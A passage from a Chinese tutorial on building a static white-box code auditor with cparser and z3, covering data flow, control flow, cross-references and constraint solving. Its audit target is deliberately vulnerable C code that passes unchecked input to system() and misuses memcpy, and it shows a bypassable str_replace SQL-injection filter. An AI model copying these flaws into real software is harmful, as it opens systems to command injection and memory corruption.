代码树\n\n```python\n\nimport cparser\n\ncode = '''\nint buffer_resolver(const unsigned char* buffer) {\n    unsigned char buffer_length = buffer[0];\n    \n    if (2 <= buffer_length)\n        return 0;\n    \n    if (MessageType_Hello == buffer[1]) {\n        printf(\"Hello\\n\");\n    } else if (MessageType_Execute == buffer[1]) {\n        unsigned char* command_buffer = (unsigned char*)malloc(buffer_length - 1);\n        \n        memset(&command_buffer,0,buffer_length);\n        memcpy(&command_buffer,&buffer[2],buffer_length - 2);\n        \n        execute_command(command_buffer);\n    } else if (MessageType_Data == buffer[1]) {\n        decrypt_data(&buffer[2],buffer_length - 2);\n    }\n    \n    return 1;\n}\n'''\n\ndata = cparser.get_func_tree(code)\n\ndata.nprint()\n\n```\n\n  对应的nprint() 输出效果\n\n![](pic6/pic7.png)\n\n  我们使用subnode 对象来获取函数下的语句\n\n```python\n\nfor subnode_index in data.subnode :\n    print subnode_index\n\n```\n\n![](pic6/pic8.png)\n\n  接下来我们对AST 树进行递归搜索,遍历所有函数调用查找execute_command 并输出函数参数(注解:解析函数参数的代码也是遍历AST 树,建议调试理解这部分的代码)\n\n```python\n\ndef get_function_parameters(ast_node) :\n    parameters_list = []\n\n    for subnode_index in ast_node.subnode :\n        if subnode_index[1].type == 'parallel' :\n            parameters_list += get_function_parameters(subnode_index[1])\n        elif subnode_index[0] == 'parameters' :\n            parameters_list.append({\n                'type' : subnode_index[1].type ,\n                'value' : subnode_index[1].value ,\n            })\n        elif subnode_index[0].startswith('exp') :\n            parameters_list.append({\n                'type' : subnode_index[1].type ,\n                'value' : subnode_index[1].value ,\n            })\n\n    return parameters_list\n\ndef recursive_find_call(ast_node,find_function_name) :\n    find_result = []\n\n    for subnode_index in ast_node.subnode :\n        if 'function_call' == subnode_index[1].type :\n            if find_function_name == '*' or find_function_name == subnode_index[1].value :\n                parameters_list = get_function_parameters(subnode_index[1])\n                \n                find_result.append((subnode_index,parameters_list))\n\n        find_result += recursive_find_call(subnode_index[1],find_function_name)\n\n    return find_result\n\ndef print_search_result(call_list) :\n    for call_index in call_list :\n        ast_node_info = call_index[0]\n        parameters_info = call_index[1]\n\n        print 'Call Function Name :',ast_node_info[1].value\n        print '  Function Argument :',parameters_info\n\n\nfind_function_call = recursive_find_call(data,'execute_command')\n\nprint_search_result(find_function_call)\n\n```\n\n  程序输出如下:\n\n![](pic6/pic9.png)\n\n  现在已经可以在AST 树中搜索指定的函数调用和对应的参数列表了,然后我们再拓展自定义搜索规则的功能\n\n```python\n\nsearch_strategy = '''\nexecute_command(*)\n'''\n\ndef resolve_strategy(user_search_strategy) :\n    user_search_strategy = user_search_strategy.split('\\n')\n    check_strategy = []\n\n    for user_search_strategy_index in user_search_strategy :\n        strategy_record = user_search_strategy_index.strip()\n\n        if not len(strategy_record) :\n            continue\n\n        search_function_name = strategy_record.split('(')[0].strip()\n        search_parameter_string = strategy_record.split('(')[1].strip()\n        search_parameter_string = search_parameter_string.split(')')[0].strip()\n        search_parameter_list = []\n\n        if len(search_parameter_string) :\n            if not -1 == search_parameter_string.find(',') :\n                search_parameter_string = search_parameter_string.split(',')\n                parameter_index = -1\n\n                for search_parameter_index in search_parameter_string :\n                    check_parameter = search_parameter_index.strip()\n                    parameter_index += 1\n\n                    if not check_parameter == '*' :\n                        continue\n\n                    search_parameter_list.append(parameter_index)\n            else :\n                check_parameter = search_parameter_string.strip()\n\n                if check_parameter == '*' :\n                    search_parameter_list.append(0)\n\n        check_strategy.append((search_function_name,search_parameter_list))\n\n    return check_strategy\n\nprint resolve_strategy(search_strategy)\n\n```\n\n  自定义匹配策略的规则是:函数名(检测的函数参数),举个例子:比如要我们知道`eval()` 函数的第一个参数对输入是敏感的,那么就需要对所有调用`eval()` 函数的第一个参数进行可控检测,对应的规则是`eval(*)` ;如果要检测`call_user_func()` ,那么就要检测第一和第二个参数是否可控,对应的策略为`call_user_func(*,*)` .有了策略解析器之后,我们再来完善漏洞规则匹配功能:\n\n```python\n\nsearch_strategy = '''\nexecute_command(*)\n'''\n\nsearch_strategy = resolve_strategy(search_strategy)\nsearch_record = {}\n\nfor search_strategy_index in search_strategy :  #  Search Call by Strategy\n    find_function_name = search_strategy_index[0]\n    search_check_parameter_list = search_strategy_index[1]\n    find_function_call = recursive_find_call(data,find_function_name)\n\n    print_search_result(find_function_call)\n    search_record[find_function_name] = []\n\n    for call_index in find_function_call :  #  Find Match Strategy Call\n        ast_node_info = call_index[0]\n        parameters_list = call_index[1]\n\n        if search_check_parameter_list :\n            check_parameter_list = []\n\n            for search_check_parameter_index in search_check_parameter_list :  #  Filter Call Argument\n                if len(parameters_list) <= search_check_parameter_index :\n                    continue\n\n                target_search_parameter = parameters_list[search_check_parameter_index]\n\n                if not target_search_parameter['type'] in ['variable','address_of'] :  #  Check this Argument is a Variant ..\n                    continue\n\n                check_parameter_list.append(target_search_parameter)\n\n            if check_parameter_list :\n                search_record[find_function_name].append((ast_node_info,check_parameter_list))\n        else :\n            search_record[find_function_name].append((ast_node_info,[]))\n\n\nprint search_record\n\n```\n\n  现在可以根据指定的参数来匹配代码中的函数调用了,输出内容如下\n\n![](pic6/pic10.png)\n\n  修改策略,搜索`memcpy()` 函数\n\n```python\n\nsearch_strategy = '''\nexecute_command(*)\nmemcpy(,*,)\n'''\n\n```\n\n  搜索结果如下\n\n![](pic6/pic11.png)\n\n  最后一步就是实现数据流跟踪功能,在此我们只关注variable 和address_of 类型的AST 树节点数据\n\n```python\n\ndef xref_variant(trance_record,bingo_parameter_name) :\n    xref_record = []\n\n    for trance_record_index in trance_record[ :: -1 ] :\n        if trance_record_index[1].type in ['get_element','assign'] :\n            if bingo_parameter_name in trance_record_index[1].value :\n                xref_record.append({\n                    'type' : trance_record_index[1].type ,\n                    'value' : trance_record_index[1].value ,\n                    'node' : trance_record_index\n                })\n        elif trance_record_index[1].type == 'function_call' :\n            function_parameters = get_function_parameters(trance_record_index[1])\n\n            for function_parameter_index in function_parameters :\n                if not bingo_parameter_name in function_parameter_index['value'] :\n                    continue\n\n                xref_record.append({\n                    'type' : trance_record_index[1].type ,\n                    'value' : trance_record_index[1].value ,\n                    'node' : trance_record_index\n                })\n\n    return xref_record\n\ndef trance_record_by_ast(start_node,target_node,bingo_parameters,trance_record) :\n    code_record = []\n\n    for node_object_index in start_node.subnode :\n        if node_object_index == target_node :\n            xref_record_list = []\n\n            for bingo_parameter_index in bingo_parameters :\n                xref_record_list.append(xref_variant(trance_record + code_record,bingo_parameter_index['value']))\n\n            return (True,xref_record_list)\n\n        code_record.append(node_object_index)\n\n        is_search,sub_data = trance_record_by_ast(node_object_index[1],target_node,bingo_parameters,trance_record + code_record)\n\n        if is_search :\n            xref_record_list = sub_data\n\n            return (True,xref_record_list)\n\n        sub_code_record = sub_data\n        code_record += sub_code_record\n\n    return (False,code_record)\n\n\nsearch_strategy = '''\nexecute_command(*)\n'''\nsearch_record = search_call_by_strategy(search_strategy,data)\n\nprint 'Search Record :',search_record\n\nfor search_record_index in search_record.keys() :\n    functinon_name = search_record_index\n    bingo_record_list = search_record[search_record_index]\n\n    for bingo_record_index in bingo_record_list :\n        print trance_record_by_ast(data,bingo_record_index[0],bingo_record_index[1],[])\n\n```\n\n  运行效果如下\n\n![](pic6/pic12.png)\n\n  对数据流的分析需要比较多的递归,笔者在设计PHP 白盒审计工具时(https://github.com/lcatro/PHP_Source_Audit_Tools) 就遇到过性能问题,在几个页面之间做深度数据流分析很容易会产生大量递归和循环,做好数据流跟踪之后,接下来就是控制流分析.\n\n\n### 控制流分析\n\n  控制流分析面向的是对程序判断的分析,程序通过if switch for while 这些语句对代码块进行跳转执行处理,我们把一段代码改为代码块来理解,把判断语句作为分割代码块之间的跳转条件,这样我们就能得到程序的执行图.对于`buffer_resolve()` 它的程序执行图如下:\n\n![](pic6/pic13.png)\n\n  可以看到,`buffer_resolve()` 中有4 个判断语句,整个程序一共有5 条路径,分别如下:\n\n```txt\n\nentry -> block_1\nentry -> block_2 -> block_3 -> block_6\nentry -> block_2 -> block_4 -> block_6\nentry -> block_2 -> block_5 -> block_6\nentry -> block_2 -> block_6\n\n```\n\n  `buffer_resolve()` 调用`execute_command()` 函数的代码在block5 代码块里面,要想让代码执行到block5 的路径,那就只有路径`entry -> block_2 -> block_5 -> block_6` .要满足这条路径,那就必须要满足三个条件:\n\n```txt\n\ncondition_1 = (2 <= buffer_length)\ncondition_2 = (MessageType_Hello == buffer[1])\ncondition_3 = (MessageType_Execute == buffer[1])\n\n!condition_1 && !condition_2 && conditon_3\n\n```\n\n  `!condition_1 && !condition_2 && conditon_3` 指的是条件约束,需我们给定的输入满足这些条件才可以让程序执行到block5 .现在我们继续用AST 从代码中分析控制流.\n\n```python\n\ndef get_condition(ast_node) :\n    for index in ast_node.subnode :\n        if 'condition' == index[0] :\n            return index[1].value\n\n    return False\n\ndef trance_control_flow_by_ast(start_node,target_node,trance_record) :\n    code_record = []\n\n    for node_object_index in start_node.subnode :\n        if node_object_index == target_node :\n            all_trance_record = trance_record + code_record\n            control_flow_list = []\n\n            for trance_record_index in all_trance_record :\n                if trance_record_index[1].type == 'if' :\n                    control_flow_list.append(get_condition(trance_record_index[1]))\n\n            return (True,control_flow_list)\n\n        code_record.append(node_object_index)\n\n        is_search,sub_data = trance_control_flow_by_ast(node_object_index[1],target_node,trance_record + code_record)\n\n        if is_search :\n            control_flow_record_list = sub_data\n\n            return (True,control_flow_record_list)\n\n    return (False,code_record)\n\n\nsearch_strategy = '''\nexecute_command(*)\n'''\nsearch_record = search_call_by_strategy(search_strategy,data)\n\nprint 'Search Record :',search_record\n\nfor search_record_index in search_record.keys() :\n    functinon_name = search_record_index\n    bingo_record_list = search_record[search_record_index]\n\n    for bingo_record_index in bingo_record_list :\n        print trance_control_flow_by_ast(data,bingo_record_index[0],[])\n\n```\n\n  运行结果如下:\n\n![](pic6/pic14.png)\n\n\n### 函数交叉引用\n\n  函数交叉引用旨在于函数之间的调用关系,我们可以用IDA 对上面的代码进行交叉引用图表生成,找到`buffer_resolver()` 函数,右键\"xrefs graph to\".\n\n![](pic6/pic15.png)\n\n  但是IDA 却弹出了没有找到\n\n![](pic6/pic16.png)\n\n  \"xrefs graph to\" 选项的意思是,搜索哪里调用到这个函数(对应从下往上);\"xrefs graph from\"是搜索当前函数调用了哪些函数(对应从上往下),于是我们选择\"xrefs graph from\" 再次查看结果\n\n![](pic6/pic17.png)\n\n  然后我们继续来实现函数交叉引用的功能.代码如下(由于这个代码库只支持对一个函数代码进行序列化AST ,所以用了一个dict 对象保存所有序列化后的代码,故以下的示例代码比较亢长):\n\n```python\n\n\ncode_emun = '''\nenum {\n  MessageType_Hello = 0,\n  MessageType_Execute,\n  MessageType_Data\n};\n'''\n\ncode_execute_command = '''\nvoid execute_command(const unsigned char* command) {\n    system(command);\n}\n'''\n\ncode_decrypt_data = '''\nvoid decrypt_data(const unsigned char* data_buffer,unsigned char data_buffer_length) {\n    unsigned char* buffer[8] = {0};\n    \n    for (unsigned int data_index = 0;data_index < data_buffer_length;++data_index)\n        buffer[data_index] = data_buffer[data_index] ^ 0x65;\n    \n    printf(\"Recv:%s\\n\",&buffer);\n}\n'''\n\ncode_buffer_resolver = '''\nint buffer_resolver(const unsigned char* buffer) {\n    unsigned char buffer_length = buffer[0];\n    \n    if (2 <= buffer_length)\n        return 0;\n    \n    if (MessageType_Hello == buffer[1]) {\n        printf(\"Hello\\n\");\n    } else if (MessageType_Execute == buffer[1]) {\n        unsigned char* command_buffer = (unsigned char*)malloc(buffer_length - 1);\n        \n        memset(&command_buffer,0,buffer_length);\n        memcpy(&command_buffer,&buffer[2],buffer_length - 2);\n        \n        execute_command(command_buffer);\n    } else if (MessageType_Data == buffer[1]) {\n        decrypt_data(&buffer[2],buffer_length - 2);\n    }\n    \n    return 1;\n}\n'''\n\ncode_stream = {\n    'global_enum' : cparser.get_func_tree(code_emun) ,\n    'decrypt_data' : cparser.get_func_tree(code_decrypt_data) ,\n    'execute_command' : cparser.get_func_tree(code_execute_command) ,\n    'buffer_resolver' : cparser.get_func_tree(code_buffer_resolver) ,\n}\n\n\ndef get_function_parameters(ast_node) :\n    parameters_list = []\n\n    for subnode_index in ast_node.subnode :\n        if subnode_index[1].type == 'parallel' :\n            parameters_list += get_function_parameters(subnode_index[1])\n        elif subnode_index[0] == 'parameters' :\n            parameters_list.append({\n                'type' : subnode_index[1].type ,\n                'value' : subnode_index[1].value ,\n            })\n        elif subnode_index[0].startswith('exp') :\n            parameters_list.append({\n                'type' : subnode_index[1].type ,\n                'value' : subnode_index[1].value ,\n            })\n\n    return parameters_list\n\ndef recursive_find_call(ast_node,find_function_name) :\n    find_result = []\n\n    for subnode_index in ast_node.subnode :\n        if subnode_index[1] == None :  #  Fix cparser Bug , Maybe Some Node is None ..\n            continue\n\n        if 'function_call' == subnode_index[1].type :\n            if find_function_name == '*' or find_function_name == subnode_index[1].value :\n                parameters_list = get_function_parameters(subnode_index[1])\n                \n                find_result.append((subnode_index,parameters_list))\n\n        find_result += recursive_find_call(subnode_index[1],find_function_name)\n\n    return find_result\n\ndef xref_function(code_stream,search_function_name) :\n    search_xref_data = {}\n\n    for function_name in code_stream.keys() :\n        function_code = code_stream[function_name]\n        search_result = recursive_find_call(function_code,search_function_name)\n\n        if not search_result :\n            continue\n\n        xref_record = xref_function(code_stream,function_name)  #  Recursive find function's Xref ..\n        search_xref_data[function_name] = {\n            'xref' : xref_record ,\n            'reference' : search_result ,\n        }\n\n    return search_xref_data\n\n\nprint xref_function(code_stream,'execute_command')\n\n\n```\n\n  输出结果如下,因为`execute_command()` 只被`buffer_resolver()` 这个函数引用,所以只输出这一个结果.\n\n![](pic6/pic18.png)\n\n  为了结果更明显,我们搜索`system()` 函数.\n\n```python\n\nprint xref_function(code_stream,'system')\n\n```\n\n  运行结果如下:\n\n![](pic6/pic19.png)\n\n\n### 综合分析\n\n  综合分析阶段我们主要运用以上的四个步骤对源码进行扫描:匹配漏洞->函数内部数据流跟踪->控制流跟踪->交叉引用.有了上面已经写好的功能代码,接下来就是按照逻辑来拼装代码了,Talk is Cheap ,Show you the code :\n\n  首先是要修复cparse 库不能对函数参数进行解析的问题,因为我们除了要在函数内部代码定位数据流,最后也需要定位到函数参数中去,故在此先添加第一部分代码\n\n```python\n\ndef resolver_function_parameter(code_string) :\n    code_string = code_string.strip()\n    code_block_declare_offset = code_string.find('{')\n\n    if -1 == code_block_declare_offset :\n        return False\n\n    try :\n        function_declare_string = code_string[ : code_block_declare_offset ].strip()\n        function_return_type = function_declare_string.split(' ')[0]\n        function_name = function_declare_string.split('(')[0]\n        function_name = function_name.split(' ')[1]\n        function_parameters_string = function_declare_string.split('(')[1].strip()\n        function_parameters_string = function_parameters_string.split(')')[0].strip()\n        resolve_function_parameters_list = function_parameters_string.split(',')\n        function_parameters_list = []\n\n        for resolve_function_parameters_index in resolve_function_parameters_list :\n            function_parameters_list.append({\n                'type' : resolve_function_parameters_index[ : resolve_function_parameters_index.rfind(' ') ] ,\n                'name' : resolve_function_parameters_index.split(' ')[-1] ,\n            })\n\n        return {\n            'type' : function_return_type ,\n            'name' : function_name ,\n            'parameters' : function_parameters_list ,\n        }\n    except :\n        pass\n\n    return False\n\n\ncode_stream = {\n    'global_enum' : {\n        'code' : cparser.get_func_tree(code_emun) ,\n        'declare' : resolver_function_parameter(code_emun) ,\n    } ,\n    'decrypt_data' : {\n        'code' : cparser.get_func_tree(code_decrypt_data) ,\n        'declare' : resolver_function_parameter(code_decrypt_data) ,\n    } ,\n    'execute_command' : {\n        'code' : cparser.get_func_tree(code_execute_command) ,\n        'declare' : resolver_function_parameter(code_execute_command) ,\n    } ,\n    'buffer_resolver' : {\n        'code' : cparser.get_func_tree(code_buffer_resolver) ,\n        'declare' : resolver_function_parameter(code_buffer_resolver) ,\n    } ,\n}\n\n# ...\n\ndef xref_function(code_stream,search_function_name) :\n    search_xref_data = {}\n\n    for function_name in code_stream.keys() :\n        function_code = code_stream[function_name]['code']  #  Get Code from code_stream .\n        search_result = recursive_find_call(function_code,search_function_name)\n\n        if not search_result :\n            continue\n\n        xref_record = xref_function(code_stream,function_name)\n        search_xref_data[function_name] = {\n            'xref' : xref_record ,\n            'reference' : search_result ,\n        }\n\n    return search_xref_data\n\n\n```\n\n  然后为了让`search_call_by_strategy()` 减少输出无用的结果,在此加入了对搜索结果的内容是否为空进行筛选:\n\n```python\n\ndef search_call_by_strategy(search_strategy,code_object) :\n    search_strategy = resolve_strategy(search_strategy)\n    search_record = {}\n\n    for search_strategy_index in search_strategy :  #  Search Call by Strategy\n        find_function_name = search_strategy_index[0]\n        search_check_parameter_list = search_strategy_index[1]\n        find_function_call = recursive_find_call(code_object,find_function_name)\n        search_record_list = []\n\n        print_search_result(find_function_call)\n\n        for call_index in find_function_call :  #  Find Match Strategy Call\n            ast_node_info = call_index[0]\n            parameters_list = call_index[1]\n\n            if search_check_parameter_list :\n                check_parameter_list = []\n\n                for search_check_parameter_index in search_check_parameter_list :  #  Filter Call Argument\n                    if len(parameters_list) <= search_check_parameter_index :\n                        continue\n\n                    target_search_parameter = parameters_list[search_check_parameter_index]\n\n                    if not target_search_parameter['type'] in ['variable','address_of'] :  #  Check this Argument is a Variant ..\n                        continue\n\n                    check_parameter_list.append(target_search_parameter)\n\n                if check_parameter_list :\n                    search_record_list.append((ast_node_info,check_parameter_list))\n            else :\n                search_record_list.append((ast_node_info,[]))\n\n        if search_record_list :  #  Fix This : If not found function call result so we let it empty (我总感觉这个语法不对。。。)\n            search_record[find_function_name] = search_record_list\n\n    return search_record\n\n```\n\n  接下来我们继续修复数据流分析的代码,支持跟踪到函数参数\n\n```python\n\ndef xref_variant(trance_record,bingo_parameter_name,function_declare) :\n    xref_record = []\n\n    for trance_record_index in trance_record[ :: -1 ] :\n        if trance_record_index[1].type in ['get_element','assign'] :\n            if bingo_parameter_name in trance_record_index[1].value :\n                xref_record.append({\n                    'type' : trance_record_index[1].type ,\n                    'value' : trance_record_index[1].value ,\n                    'node' : trance_record_index\n                })\n        elif trance_record_index[1].type == 'function_call' :\n            function_parameters = get_function_parameters(trance_record_index[1])\n\n            for function_parameter_index in function_parameters :\n                if not bingo_parameter_name in function_parameter_index['value'] :\n                    continue\n\n                xref_record.append({\n                    'type' : trance_record_index[1].type ,\n                    'value' : trance_record_index[1].value ,\n                    'node' : trance_record_index\n                })\n\n    for function_parameter_index in function_declare['parameters'] :  #  Add this\n        function_parameter_name = function_parameter_index['name']\n\n        if not bingo_parameter_name == function_parameter_name :\n            continue\n\n        xref_record.append({\n            'type' : 'parameter' ,\n            'value' : function_parameter_name ,\n            'node' : None\n        })\n\n    return xref_record\n\ndef trance_record_by_ast(start_node,target_node,bingo_parameters,function_declare,trance_record) :  #  Add new Parameter : function_declare\n    code_record = []\n\n    for node_object_index in start_node.subnode :\n        if node_object_index == target_node :\n            xref_record_list = []\n\n            for bingo_parameter_index in bingo_parameters :\n                xref_record_list.append(xref_variant(trance_record + code_record,bingo_parameter_index['value'],function_declare))\n\n            return (True,xref_record_list)\n\n        code_record.append(node_object_index)\n\n        is_search,sub_data = trance_record_by_ast(node_object_index[1],target_node,bingo_parameters,function_declare,trance_record + code_record)\n\n        if is_search :\n            xref_record_list = sub_data\n\n            return (True,xref_record_list)\n\n        sub_code_record = sub_data\n        code_record += sub_code_record\n\n    return (False,code_record)\n\n```\n\n  组合这些代码,我们可以进行基本的漏洞匹配和回溯功能了.\n\n```python\n\nsearch_strategy = 'system(*)'\nsearch_record_list = []\n\nfor function_name in code_stream.keys() :\n    search_record = search_call_by_strategy(search_strategy,code_stream[function_name]['code'])\n\n    #print 'Search Record :',search_record\n\n    if not search_record :\n        continue\n\n    search_record_list.append({\n        'function_name' : function_name ,\n        'record' : search_record ,\n    })\n\nfor search_record_index in search_record_list :\n    xref_reference_function_name = search_record_index['function_name']\n    reference_record_list = search_record_index['record']\n\n    for reference_function_name in reference_record_list.keys() :\n        reference_point_list = reference_record_list[reference_function_name]\n\n        for reference_point in reference_point_list :\n            code_object = code_stream[xref_reference_function_name]['code']\n            code_function_declare = code_stream[xref_reference_function_name]['declare']\n            reference_point_ast_node = reference_point[0]\n            reference_variant_list = reference_point[1]\n            control_flow_list = trance_control_flow_by_ast(code_object,reference_point_ast_node,[])\n            data_flow_list = trance_record_by_ast(code_object,reference_point_ast_node,reference_variant_list,code_function_declare,[])\n            xref_function_list = xref_function(code_stream,xref_reference_function_name)\n\n            print 'reference_point',reference_point\n            print 'control_flow_list',control_flow_list\n            print 'data_flow_list',data_flow_list\n            print 'xref_function_list',xref_function_list\n\n```\n\n  运行结果如下:\n\n![](pic6/pic20.png)\n\n  接下来我们继续拓展深度递归功能,把上面的分析代码再修改\n\n```python\n\ndef deep_trance(reference_point_list,xref_reference_function_name,current_function_name) :\n    trance_record = {}\n    #print 'deep_trance  :  ',current_function_name,'->',xref_reference_function_name\n\n    for reference_point in reference_point_list :\n        code_object = code_stream[xref_reference_function_name]['code']\n        code_function_declare = code_stream[xref_reference_function_name]['declare']\n        reference_point_ast_node = reference_point[0]\n        reference_variant_list = reference_point[1]\n        control_flow_list = trance_control_flow_by_ast(code_object,reference_point_ast_node,[])[1]\n        data_flow_list = trance_record_by_ast(code_object,reference_point_ast_node,reference_variant_list,code_function_declare,[])[1]\n        xref_function_list = xref_function(code_stream,xref_reference_function_name)\n        xref_record_list = []\n\n        for xref_function_name in xref_function_list.keys() :\n            xref_function_object = xref_function_list[xref_function_name]\n\n            xref_record_list.append(deep_trance(xref_function_object['reference'],xref_function_name,xref_reference_function_name))\n\n        trance_record[xref_reference_function_name] = {\n            'data_flow' : data_flow_list ,\n            'control_flow' : control_flow_list ,\n            'xref' : xref_record_list ,\n        }\n\n    return trance_record\n\n\nsearch_strategy = 'system(*)'\nsearch_record_list = []\n\nfor function_name in code_stream.keys() :\n    search_record = search_call_by_strategy(search_strategy,code_stream[function_name]['code'])\n\n    if not search_record :\n        continue\n\n    search_record_list.append({\n        'function_name' : function_name ,\n        'record' : search_record ,\n    })\n\nfor search_record_index in search_record_list :\n    xref_reference_function_name = search_record_index['function_name']\n    reference_record_list = search_record_index['record']\n\n    for reference_function_name in reference_record_list.keys() :\n        reference_point_list = reference_record_list[reference_function_name]\n\n        print 'Xref-Search for',reference_function_name,'deep_trance() Result :'\n        print deep_trance(reference_point_list,xref_reference_function_name,reference_function_name)\n\n```\n\n  搜索输出结果如下:\n\n![](pic6/pic21.png)\n\n\n### 判断求解\n\n  静态代码分析的最后一部分就是尝试对控制流进行求解了,前面我们已经可以从`system(*)` 策略中指定一个敏感参数然后向上溯源(在此为了方便演示,没有对数据输入来源进行可控判断[比如判断是不是可以接受$_GET[],$_POST[],$_COOKIE[] 中接收到的数据],读者们有意可以自行完善),其实这对于自动化白盒审计来说还是不足的,接下来我们尝试对判断进行求解,让程序可以计算满足输入条件的内容.\n\n  我们先来一些简单的条件约束来探索,这是一段简单的对两个输入变量的判断\n\n```c\n\nint main(int argc,int argv) {\n    a = atoi(argv[1]);  //  atoi() 的意思是转换字符串到数字\n    b = atoi(argv[2]);\n\n    if (a < 10) {\n      if (b >= 5) {\n        printf(\"niubi\");\n      } else {\n        printf(\"666\");\n      }\n    } else {\n      if (b < 4) {\n        printf(\"777\");\n      } else if (b == 5) {\n        printf(\"?\");\n      } else {\n        printf(\"so diao\");\n      }\n    }\n\n    return 1;\n}\n\n```\n\n  对应的程序流程图如下:\n\n![](pic6/pic22.png)\n\n  如果想要程序满足条件输出\"niubi\" ,那么a 的值需要小于10 且b 的值大于等于5 .那么我们用z3 来尝试对此进行条件求解,代码如下:\n\n```python\n\nfrom z3 import *\n\n\na = Int('a')\nb = Int('b')\nsolver = Solver()\n\nsolver.add(a < 10)\nsolver.add(b >= 5)\nsolver.check()\n\nresult = solver.model()\n\nprint result\n\n```\n\n  输出结果如下:\n\n![](pic6/pic23.png)\n\n  了解原理后,我们用这段示例代码来进行审计,然后对判断进行求解.先对原有的函数代码继续完善.\n\n```python\n\ndef search_call_by_strategy(search_strategy,code_object) :\n    search_strategy = resolve_strategy(search_strategy)\n    search_record = {}\n\n    for search_strategy_index in search_strategy :  #  Search Call by Strategy\n        find_function_name = search_strategy_index[0]\n        search_check_parameter_list = search_strategy_index[1]\n        find_function_call = recursive_find_call(code_object,find_function_name)\n        search_record_list = []\n\n        print_search_result(find_function_call)\n\n        for call_index in find_function_call :  #  Find Match Strategy Call\n            ast_node_info = call_index[0]\n            parameters_list = call_index[1]\n\n            if search_check_parameter_list :\n                check_parameter_list = []\n\n                for search_check_parameter_index in search_check_parameter_list :  #  Filter Call Argument\n                    if len(parameters_list) <= search_check_parameter_index :\n                        continue\n\n                    target_search_parameter = parameters_list[search_check_parameter_index]\n\n                    if not target_search_parameter['type'] in ['variable','address_of','string'] :  #  Fix there , add check string\n                        continue\n\n                    check_parameter_list.append(target_search_parameter)\n\n                if check_parameter_list :\n                    search_record_list.append((ast_node_info,check_parameter_list))\n            else :\n                search_record_list.append((ast_node_info,[]))\n\n        if search_record_list :\n            search_record[find_function_name] = search_record_list\n\n    return search_record\n\n\ndef trance_control_flow_by_ast(start_node,target_node,trance_record) :\n    other_if_condition = []\n\n    for node_object_index in start_node.subnode :\n        if node_object_index == target_node :\n            if_block_list = {}\n            if_block_depth = 0\n            control_flow_list = []\n\n            for trance_record_index in trance_record :\n                #print trance_record_index[0],trance_record_index[1].type,trance_record_index[1].value\n\n                if trance_record_index[0] in ['if','ifbody','condition'] :\n                    condition_data = get_condition(trance_record_index[1])\n\n                    if not condition_data :\n                        continue\n\n                    if_block_depth += 1\n                    if_block_list[if_block_depth] = [ condition_data ]\n                elif trance_record_index[0] == 'elsebody' :\n                    condition_data = get_condition(trance_record_index[1])\n\n                    if not condition_data :\n                        if_condition_list = if_block_list[if_block_depth]\n\n                        for if_condition_index in range(len(if_condition_list)) :\n                            if_condition_list[if_condition_index] = '!(%s)' % if_condition_list[if_condition_index]\n\n                        if_block_list[if_block_depth] = if_condition_list\n                        if_block_depth -= 1\n\n                        if not if_block_depth :\n                            for if_block_index in if_block_list.values() :\n                                control_flow_list += if_block_index\n\n                            if_block_list = {}\n                    else :\n                        if_block_list[if_block_depth][-1] = '!(%s)' % if_block_list[if_block_depth][-1]\n                        if_block_list[if_block_depth].append(condition_data)\n\n            if if_block_list :\n                for if_block_index in if_block_list.values() :\n                    control_flow_list += if_block_index\n\n            return (True,control_flow_list)\n\n        is_search = False\n\n        if node_object_index[0] == 'if' :\n            other_if_condition = [ node_object_index ]\n            is_search,sub_data = trance_control_flow_by_ast(node_object_index[1],target_node,trance_record + other_if_condition)\n        elif node_object_index[0] in ['ifbody','elsebody'] :\n            other_if_condition.append(node_object_index)\n            is_search,sub_data = trance_control_flow_by_ast(node_object_index[1],target_node,trance_record + other_if_condition)\n\n        if is_search :\n            control_flow_record_list = sub_data\n\n            return (True,control_flow_record_list)\n\n    return (False,None)\n\n```\n\n  接口功能代码写好之后,接下来就是实现逻辑代码:\n\n```python\n\nfrom z3 import *\n\n\ndef adjust_calculate(calculate_string) :\n    if calculate_string.startswith('!(') :\n        calculate_string = calculate_string[ calculate_string.find('!(') + 2 : calculate_string.rfind(')') ]\n        calculate_string = calculate_string.replace('==','!=')\n        #calculate_string = calculate_string.replace('!=','==')  #  ...\n        calculate_string = calculate_string.replace('<','>=')\n        calculate_string = calculate_string.replace('>','<=')\n        calculate_string = calculate_string.replace('>=','<')\n        calculate_string = calculate_string.replace('<=','>')\n\n    return calculate_string\n\n\ntest_code = '''\nint main(int argc,int argv) {\n    a = atoi(argv[1]);\n    b = atoi(argv[2]);\n\n    if (a < 10) {\n      if (b >= 5) {\n        printf(\"niubi\");\n      } else {\n        printf(\"666\");\n      }\n    } else {\n      if (b < 4) {\n        printf(\"777\");\n      } else if (b == 5) {\n        printf(\"?\");\n      } else {\n        printf(\"so diao\");\n      }\n    }\n\n    return 1;\n}\n'''\n\n#  Tips : cParser have a bug ,you need to setting for every code block .if don't do that ,some if / else condition will resolve except ..\n\ncode_object = cparser.get_func_tree(test_code)\nsearch_record = search_call_by_strategy('printf(*)',code_object)\n\nfor search_function_name in search_record.keys() :\n    search_record_object = search_record[search_function_name]\n\n    for reference_point in search_record_object :\n        control_flow_list = trance_control_flow_by_ast(code_object,reference_point[0],[])[1]\n\n        a = Int('a')\n        b = Int('b')\n        solver = Solver()\n\n        print control_flow_list\n\n        for control_flow_index in control_flow_list :\n            exec('solver.add(' + adjust_calculate(control_flow_index) + ')')  #  Z3 solver.add() just only support condition that is not string .\n\n        solver.check()\n\n        print 'Result :',solver.model()\n\n\n```\n\n  运行效果如下:\n\n![](pic6/pic24.png)\n\n  对于整数的求解还是相对较为简单的,因为对整数的求解是**连续**的,这个很容易计算,但是对于内存区域来说变化就非常多了,而且各个内存的字节是**不连续**的,这就导致使求解的难度增高了不少.我们用图例来讲解:\n\n  对于一个字符串进行内容过滤/检测限制,实质是在字符串上搜索有没有存在特定的内容,比如我们要进行SQL 注入防护,可以对单引号和and 进行字符串过滤\n\n```php\n\n$user_id = str_replace(\"'\",\"\",$_GET['id']);\n$user_id = str_replace(\"and\",\"\",$user_id);\n\n```\n\n  `str_replace()` 会对在字符串上一步一步地搜索匹配指定的内容.\n\n![](pic6/pic25.png)\n\n  翻译到条件求解,也就是说各个字节都存在一个合并的判断,如果第一个字节为a ,那么再判断后一字节是否为n ,然后再判断最后一字节是不是d .那么可以把他们合并条件约束:`str[0] != 'a' && str[1] != 'n' && str[2] != 'd'`;对于后一字节,同样进行条件约束:`str[1] != 'a' && str[2] != 'n' && str[3] != 'd'`,一直到n-2 字节.\n\n![](pic6/pic26.png)\n\n  